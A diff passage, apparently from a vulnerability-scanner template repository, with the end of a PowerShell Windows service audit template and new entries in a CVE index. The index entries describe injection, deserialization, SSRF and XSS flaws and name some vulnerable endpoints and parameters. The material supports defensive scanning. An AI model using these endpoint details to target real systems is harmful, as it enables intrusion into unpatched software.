+    Ensure that unnecessary services such as Alerter, Clipbook, Messenger, and Simple TCP/IP Services are not running. If enabled, these services can expose the system to security vulnerabilities.
+  impact: |
+    Operating these services can offer attackers potential entry points to exploit the system, as they are known to have vulnerabilities.
+  remediation: |
+    To stop and disable these services, run:
+    > net stop [ServiceName]
+    > sc config [ServiceName] start= disabled
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: service-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+    source: |
+      $servicesToCheck = @("Alerter", "Clipbook", "Messenger", "Simple TCP/IP Services")
+      $vulnerable = $false
+      foreach ($svc in $servicesToCheck) {
+          $service = Get-Service -Name $svc -ErrorAction SilentlyContinue
+          if ($service -and $service.Status -eq "Running") {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "UNNECESSARY_SERVICE_RUNNING"
+      } else {
+          "UNNECESSARY_SERVICE_STOPPED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "UNNECESSARY_SERVICE_RUNNING"
+# digest: 4b0a00483046022100a5b51f0949b8d7d77496b26bff70e0fdbb95808825e0d377f3910ab091a21b68022100ad1b195f8c1da3fb1e3a4ed6985b3aa570e5981a0249476d8146c2f26fbe6ba1:922c64590222798bb761d5b6d8e72950

cves.json

@@ -433,6 +433,7 @@
 {"ID":"CVE-2017-17731","Info":{"Name":"DedeCMS 5.7 - SQL Injection","Severity":"critical","Description":"DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17731.yaml"}
 {"ID":"CVE-2017-17736","Info":{"Name":"Kentico - Installer Privilege Escalation","Severity":"critical","Description":"Kentico 9.0 before 9.0.51 and 10.0 before 10.0.48 are susceptible to a privilege escalation attack. An attacker can obtain Global Administrator access by visiting CMSInstall/install.aspx and then navigating to the CMS Administration Dashboard.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17736.yaml"}
 {"ID":"CVE-2017-18024","Info":{"Name":"AvantFAX 3.3.3 - Cross-Site Scripting","Severity":"medium","Description":"AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18024.yaml"}
+{"ID":"CVE-2017-18349","Info":{"Name":"Fastjson Insecure Deserialization - Remote Code Execution","Severity":"critical","Description":"parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is mishandled in AjaxApplication.java.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-18349.yaml"}
 {"ID":"CVE-2017-18487","Info":{"Name":"AdPush \u003c 1.44 - Cross-Site Scripting","Severity":"medium","Description":"The adsense-plugin (aka Google AdSense) plugin before 1.44 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18487.yaml"}
 {"ID":"CVE-2017-18490","Info":{"Name":"Contact Form Multi by BestWebSoft \u003c 1.2.1 - Cross-Site Scripting","Severity":"medium","Description":"The contact-form-multi plugin before 1.2.1 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18490.yaml"}
 {"ID":"CVE-2017-18491","Info":{"Name":"Contact Form by BestWebSoft \u003c 4.0.6 - Cross-Site Scripting","Severity":"medium","Description":"The contact-form-plugin plugin before 4.0.6 for WordPress has multiple XSS issues.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-18491.yaml"}
@@ -1036,6 +1037,7 @@
 {"ID":"CVE-2020-29047","Info":{"Name":"WP Hotel Booking \u003c 1.10.4 - PHP Object Injection","Severity":"critical","Description":"The wp-hotel-booking plugin through 1.10.2 for WordPress allows remote attackers to execute arbitrary code because of an unserialize operation on the thimpress_hotel_booking_1 cookie in load in includes/class-wphb-sessions.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29047.yaml"}
 {"ID":"CVE-2020-29164","Info":{"Name":"PacsOne Server \u003c7.1.1 - Cross-Site Scripting","Severity":"medium","Description":"PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-29164.yaml"}
 {"ID":"CVE-2020-29227","Info":{"Name":"Car Rental Management System 1.0 - Local File Inclusion","Severity":"critical","Description":"Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the \"page\" parameter, leading to code execution.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29227.yaml"}
+{"ID":"CVE-2020-29390","Info":{"Name":"Zeroshell 3.9.3 - Command Injection","Severity":"critical","Description":"Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29390.yaml"}
 {"ID":"CVE-2020-29395","Info":{"Name":"Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting","Severity":"medium","Description":"Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-29395.yaml"}
 {"ID":"CVE-2020-29453","Info":{"Name":"Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)","Severity":"medium","Description":"The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2020/CVE-2020-29453.yaml"}
 {"ID":"CVE-2020-29583","Info":{"Name":"ZyXel USG - Hardcoded Credentials","Severity":"critical","Description":"A hardcoded credential vulnerability was identified in the 'zyfwp' user account in some Zyxel firewalls and AP controllers. The account was designed to deliver automatic firmware updates to connected access points through FTP.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29583.yaml"}
@@ -1125,6 +1127,8 @@
 {"ID":"CVE-2020-9483","Info":{"Name":"SkyWalking SQLI","Severity":"high","Description":"When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-9483.yaml"}
 {"ID":"CVE-2020-9484","Info":{"Name":"Apache Tomcat Remote Command Execution","Severity":"high","Description":"When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if\na) an attacker is able to control the contents and name of a file on the server; and\nb) the server is configured to use the PersistenceManager with a FileStore; and\nc) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=\"null\" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and\nd) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control.\nNote that all of conditions a) to d) must be true for the attack to succeed.\n","Classification":{"CVSSScore":"7"}},"file_path":"http/cves/2020/CVE-2020-9484.yaml"}
 {"ID":"CVE-2020-9496","Info":{"Name":"Apache OFBiz 17.12.03 - Cross-Site Scripting","Severity":"medium","Description":"Apache OFBiz 17.12.03 contains cross-site scripting and unsafe deserialization vulnerabilities via an XML-RPC request.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-9496.yaml"}
+{"ID":"CVE-2020-9547","Info":{"Name":"FasterXML jackson-databind - Deserialization Remote Code Execution","Severity":"critical","Description":"FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9547.yaml"}
+{"ID":"CVE-2020-9548","Info":{"Name":"FasterXML Jackson Databind \u003c=2.9.10.4 - Remote Code Execution","Severity":"critical","Description":"FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9548.yaml"}
 {"ID":"CVE-2020-9757","Info":{"Name":"Craft CMS \u003c 3.3.0 - Server-Side Template Injection","Severity":"critical","Description":"Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9757.yaml"}
 {"ID":"CVE-2021-1472","Info":{"Name":"Cisco Small Business RV Series - OS Command Injection","Severity":"critical","Description":"Cisco Small Business RV Series routers RV16X/RV26X versions 1.0.01.02 and before and RV34X versions 1.0.03.20 and before contain multiple OS command injection vulnerabilities in the web-based management interface. A remote attacker can execute arbitrary OS commands via the sessionid cookie or bypass authentication and upload files on an affected device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-1472.yaml"}
 {"ID":"CVE-2021-1497","Info":{"Name":"Cisco HyperFlex HX Data Platform - Remote Command Execution","Severity":"critical","Description":"Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-1497.yaml"}
@@ -1754,6 +1758,7 @@
 {"ID":"CVE-2022-23178","Info":{"Name":"Crestron Device - Credentials Disclosure","Severity":"critical","Description":"An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-23178.yaml"}
 {"ID":"CVE-2022-23347","Info":{"Name":"BigAnt Server v5.6.06 - Local File Inclusion","Severity":"high","Description":"BigAnt Server v5.6.06 is vulnerable to local file inclusion.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-23347.yaml"}
 {"ID":"CVE-2022-23348","Info":{"Name":"BigAnt Server 5.6.06 - Improper Access Control","Severity":"medium","Description":"BigAnt Server 5.6.06 is susceptible to improper access control. The software utililizes weak password hashes. An attacker can craft a password hash and thereby possibly possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-23348.yaml"}
+{"ID":"CVE-2022-23397","Info":{"Name":"Cedar Gate EZ-NET \u003c= 6.8.0 - Cross-Site Scripting","Severity":"medium","Description":"The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-23397.yaml"}
 {"ID":"CVE-2022-23544","Info":{"Name":"MeterSphere \u003c 2.5.0 SSRF","Severity":"medium","Description":"MeterSphere is a one-stop open source continuous testing platform, covering test management, interface testing, UI testing and performance testing. Versions prior to 2.5.0 are subject to a Server-Side Request Forgery that leads to Cross-Site Scripting. A Server-Side request forgery in `IssueProxyResourceService::getMdImageByUrl` allows an attacker to access internal resources, as well as executing JavaScript code in the context of Metersphere's origin by a victim of a reflected XSS. This vulnerability has been fixed in v2.5.0. There are no known workarounds.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-23544.yaml"}
 {"ID":"CVE-2022-2373","Info":{"Name":"WordPress Simply Schedule Appointments \u003c1.5.7.7 - Information Disclosure","Severity":"medium","Description":"WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2373.yaml"}
 {"ID":"CVE-2022-2376","Info":{"Name":"WordPress Directorist \u003c7.3.1 - Information Disclosure","Severity":"medium","Description":"WordPress Directorist plugin before 7.3.1 is susceptible to information disclosure. The plugin discloses the email address of all users in an AJAX action available to both unauthenticated and authenticated users.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2022/CVE-2022-2376.yaml"}
@@ -2264,7 +2269,6 @@
 {"ID":"CVE-2023-29623","Info":{"Name":"Purchase Order Management v1.0 - Cross Site Scripting (Reflected)","Severity":"medium","Description":"Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at /purchase_order/classes/login.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-29623.yaml"}
 {"ID":"CVE-2023-2982","Info":{"Name":"Miniorange Social Login and Register \u003c= 7.6.3 - Authentication Bypass","Severity":"critical","Description":"The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2982.yaml"}
 {"ID":"CVE-2023-29827","Info":{"Name":"Embedded JavaScript(EJS) 3.1.6 - Template Injection","Severity":"critical","Description":"ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-29827.yaml"}
-{"ID":"CVE-2023-2986","Info":{"Name":"Abandoned Cart Lite for WooCommerce - Authentication Bypass","Severity":"critical","Description":"The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2986.yaml"}
 {"ID":"CVE-2023-29887","Info":{"Name":"Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion","Severity":"high","Description":"A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-29887.yaml"}
 {"ID":"CVE-2023-29919","Info":{"Name":"SolarView Compact \u003c= 6.00 - Local File Inclusion","Severity":"critical","Description":"There is an arbitrary read file vulnerability in SolarView Compact 6.00 and below, attackers can bypass authentication to read files through texteditor.php\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2023/CVE-2023-29919.yaml"}
 {"ID":"CVE-2023-29922","Info":{"Name":"PowerJob V4.3.1 - Authentication Bypass","Severity":"medium","Description":"PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-29922.yaml"}
@@ -2518,6 +2522,7 @@
 {"ID":"CVE-2023-48777","Info":{"Name":"WordPress Elementor 3.18.1 - File Upload/Remote Code Execution","Severity":"critical","Description":"The plugin is vulnerable to Remote Code Execution via file upload via the template import functionality, allowing authenticated attackers, with contributor-level access and above, to upload files and execute code on the server.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2023/CVE-2023-48777.yaml"}
 {"ID":"CVE-2023-49070","Info":{"Name":"Apache OFBiz \u003c 18.12.10 - Arbitrary Code Execution","Severity":"critical","Description":"Pre-auth RCE in Apache Ofbiz 18.12.09. It's due to XML-RPC no longer maintained still present. This issue affects Apache OFBiz: before 18.12.10.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-49070.yaml"}
 {"ID":"CVE-2023-49103","Info":{"Name":"OwnCloud - Phpinfo Configuration","Severity":"high","Description":"An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-49103.yaml"}
+{"ID":"CVE-2023-49230","Info":{"Name":"Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload","Severity":"high","Description":"A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-49230.yaml"}
 {"ID":"CVE-2023-49489","Info":{"Name":"KodeExplorer 4.51 - Reflective Cross Site Scripting (XSS)","Severity":"medium","Description":"Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-49489.yaml"}
 {"ID":"CVE-2023-49494","Info":{"Name":"DedeCMS v5.7.111 - Cross-Site Scripting","Severity":"medium","Description":"DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-49494.yaml"}
 {"ID":"CVE-2023-4966","Info":{"Name":"Citrix Bleed - Leaking Session Tokens","Severity":"high","Description":"Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-4966.yaml"}
@@ -2616,6 +2621,7 @@
 {"ID":"CVE-2024-11305","Info":{"Name":"Altenergy Power Control Software - SQL Injection","Severity":"medium","Description":"A vulnerability classified as critical was found in Altenergy Power Control Software up to 20241108. This vulnerability affects the function get_status_zigbee of the file /index.php/display/status_zigbee. The manipulation of the argument date leads to sql injection. The attack can be initiated remotely.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-11305.yaml"}
 {"ID":"CVE-2024-11320","Info":{"Name":"Pandora v7.0NG.777.3 - Remote Code Execution","Severity":"critical","Description":"Arbitrary commands execution on the server by exploiting a command injection vulnerability in the LDAP authentication mechanism.This issue affects Pandora FMS- from 700 through \u003c=777.4\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-11320.yaml"}
 {"ID":"CVE-2024-11396","Info":{"Name":"Event Monster \u003c= 1.4.3 - Information Exposure Via Visitors List Export","Severity":"medium","Description":"The Event Monster Event Management, Tickets Booking, Upcoming Event plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.4.3 via the Visitors List Export file. During the export, a CSV file is created in the wp-content folder with a hardcoded filename that is publicly accessible. This makes it possible for unauthenticated attackers to extract data about event visitors, that includes first and last names, email, and phone number.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-11396.yaml"}
+{"ID":"CVE-2024-11587","Info":{"Name":"idcCMS V1.60 - Cross-Site Scripting","Severity":"medium","Description":"idcCMS V1.60 is vulnerable to reflected cross-site scripting (XSS) via the idName parameter in read.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-11587.yaml"}
 {"ID":"CVE-2024-11680","Info":{"Name":"ProjectSend \u003c= r1605 - Improper Authorization","Severity":"critical","Description":"An improper authorization check was identified within ProjectSend version r1605 that allows an attacker to perform sensitive actions such as enabling user registration and auto validation, or adding new entries in the whitelist of allowed extensions for uploaded files. Ultimately, this allows to execute arbitrary PHP code on the server hosting the application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-11680.yaml"}
 {"ID":"CVE-2024-11728","Info":{"Name":"KiviCare Clinic \u0026 Patient Management System (EHR) \u003c= 3.6.4 - SQL Injection","Severity":"high","Description":"The KiviCare Clinic \u0026 Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-11728.yaml"}
 {"ID":"CVE-2024-11740","Info":{"Name":"Download Manager \u003c 3.3.04 - Unauthenticated Arbitrary Shortcode Execution","Severity":"high","Description":"The The Download Manager plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.3.03. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-11740.yaml"}
@@ -2712,6 +2718,7 @@
 {"ID":"CVE-2024-28987","Info":{"Name":"SolarWinds Web Help Desk - Hardcoded Credential","Severity":"critical","Description":"The SolarWinds Web Help Desk (WHD) software is affected by a hardcoded credential vulnerability, allowing remote unauthenticated user to access internal functionality and modify data.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-28987.yaml"}
 {"ID":"CVE-2024-28995","Info":{"Name":"SolarWinds Serv-U - Directory Traversal","Severity":"high","Description":"SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-28995.yaml"}
 {"ID":"CVE-2024-29059","Info":{"Name":".NET Framework - Leaking ObjRefs via HTTP .NET Remoting","Severity":"high","Description":".NET Framework Information Disclosure Vulnerability","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-29059.yaml"}
+{"ID":"CVE-2024-29198","Info":{"Name":"GeoServer Demo Request Endpoint - Server Side Request Forgery","Severity":"high","Description":"It is possible to achieve Server Side Request Forgery (SSRF) via the Demo request endpoint if Proxy Base URL has not been set. An unauthenticated user can supply a request that will be issued by the server, allowing enumeration of internal networks and, in the case of cloud instances, access to sensitive data.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-29198.yaml"}
 {"ID":"CVE-2024-29269","Info":{"Name":"Telesquare TLR-2005KSH  - Remote Command Execution","Severity":"critical","Description":"Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through the Cmd parameter and obtain server permissions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-29269.yaml"}
 {"ID":"CVE-2024-29272","Info":{"Name":"VvvebJs \u003c 1.7.5 - Arbitrary File Upload","Severity":"medium","Description":"Arbitrary File Upload vulnerability in VvvebJs before version 1.7.5, allows unauthenticated remote attackers to execute arbitrary code and obtain sensitive information via the sanitizeFileName parameter in save.php.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-29272.yaml"}
 {"ID":"CVE-2024-2928","Info":{"Name":"MLflow \u003c 2.11.3 - Path Traversal","Severity":"high","Description":"MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2928.yaml"}
@@ -2762,6 +2769,7 @@
 {"ID":"CVE-2024-33605","Info":{"Name":"Sharp Multifunction Printers - Directory Listing","Severity":"high","Description":"It was observed that Sharp printers are vulnerable to an arbitrary directory listing without authentication. Any attacker can list any directory located in the printer and recover any file.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-33605.yaml"}
 {"ID":"CVE-2024-33610","Info":{"Name":"Sharp Multifunction Printers - Cookie Exposure","Severity":"medium","Description":"It was observed that Sharp printers are vulnerable to a listing of session cookies without authentication. Any attacker can list valid cookies by visiting a backdoor webpage and use them to authenticate to the printers.","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-33610.yaml"}
 {"ID":"CVE-2024-33724","Info":{"Name":"SOPlanning 1.52.00 Cross Site Scripting","Severity":"medium","Description":"SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-33724.yaml"}
+{"ID":"CVE-2024-33832","Info":{"Name":"OneNav v0.9.35-20240318 - Server-Side Request Forgery (SSRF)","Severity":"medium","Description":"OneNav v0.9.35-20240318 is vulnerable to server-side request forgery (SSRF) via the url parameter in the get_link_info API. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-33832.yaml"}
 {"ID":"CVE-2024-3400","Info":{"Name":"GlobalProtect - OS Command Injection","Severity":"critical","Description":"A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-3400.yaml"}
 {"ID":"CVE-2024-34061","Info":{"Name":"Changedetection.io \u003c=v0.45.21 - Cross-Site Scripting","Severity":"medium","Description":"Changedetection.io is a free open source web page change detection, website watcher, restock monitor and notification service. In affected versions Input in parameter notification_urls is not processed resulting in javascript execution in the application. A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This issue has been addressed in version 0.45.22. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2024/CVE-2024-34061.yaml"}
 {"ID":"CVE-2024-34102","Info":{"Name":"Adobe Commerce \u0026 Magento - CosmicSting","Severity":"critical","Description":"Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-34102.yaml"}
@@ -2781,6 +2789,7 @@
 {"ID":"CVE-2024-36412","Info":{"Name":"SuiteCRM - SQL Injection","Severity":"critical","Description":"SuiteCRM is an open-source Customer Relationship Management (CRM) software application. Prior to versions 7.14.4 and 8.6.1, a vulnerability in events response entry point allows for a SQL injection attack. Versions 7.14.4 and 8.6.1 contain a fix for this issue.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36412.yaml"}
 {"ID":"CVE-2024-36527","Info":{"Name":"Puppeteer Renderer  - Directory Traversal","Severity":"medium","Description":"puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36527.yaml"}
 {"ID":"CVE-2024-3656","Info":{"Name":"Keycloak \u003c 24.0.5 - Broken Access Control","Severity":"high","Description":"A flaw was found in Keycloak. Certain endpoints in Keycloak's admin REST API allow low-privilege users to access administrative functionalities. This flaw allows users to perform actions reserved for administrators, potentially leading to data breaches or system compromise.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2024/CVE-2024-3656.yaml"}
